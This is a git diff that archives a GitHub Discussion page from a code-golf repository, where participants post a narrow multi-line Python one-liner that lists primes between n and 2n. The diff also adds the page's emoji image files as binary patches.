    +
    + + + + + +
    + +
    +
    + +
    + + + + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on Apr 19, 2021 + + +
    + + + Maintainer + + + + Author + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    When your screen is only wide enough to fit 14 characters: A multi-line one-liner!

    +
    n=int(input())
    +print([i for i
    +in range(n,2*n
    +) if all(not i
    +%j==0 for j in
    +range(2, i))])
    + + + + +
    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + mpldr + +
    +
    + + + on Apr 25, 2021 + + +
    + + + Collaborator + + + +
    + + +

    +
    +
    + + +
    +
    + + + + + + + + + + +
    +

    Pull the repo and try next-prime/next.html … it will tell you the next prime… kinda.

    +

    Imagine some blinking banners on the page as well… I couldn't be bothered to make them yet. Maybe later.

    +
    + +
    + +
    + +
    +
    + + + + + +
    + + +
    + + +
    +
    +
    + + + +
    +
    + +
    +
    + + + + + +
    + + 0 replies + +
    +
    + +
    + +
    +
    +
    +
    + +
    + + +
    + + + + + + + +
    +
    +
    +
    +
    +
    + @Ta180m +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 2 participants +
    + +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 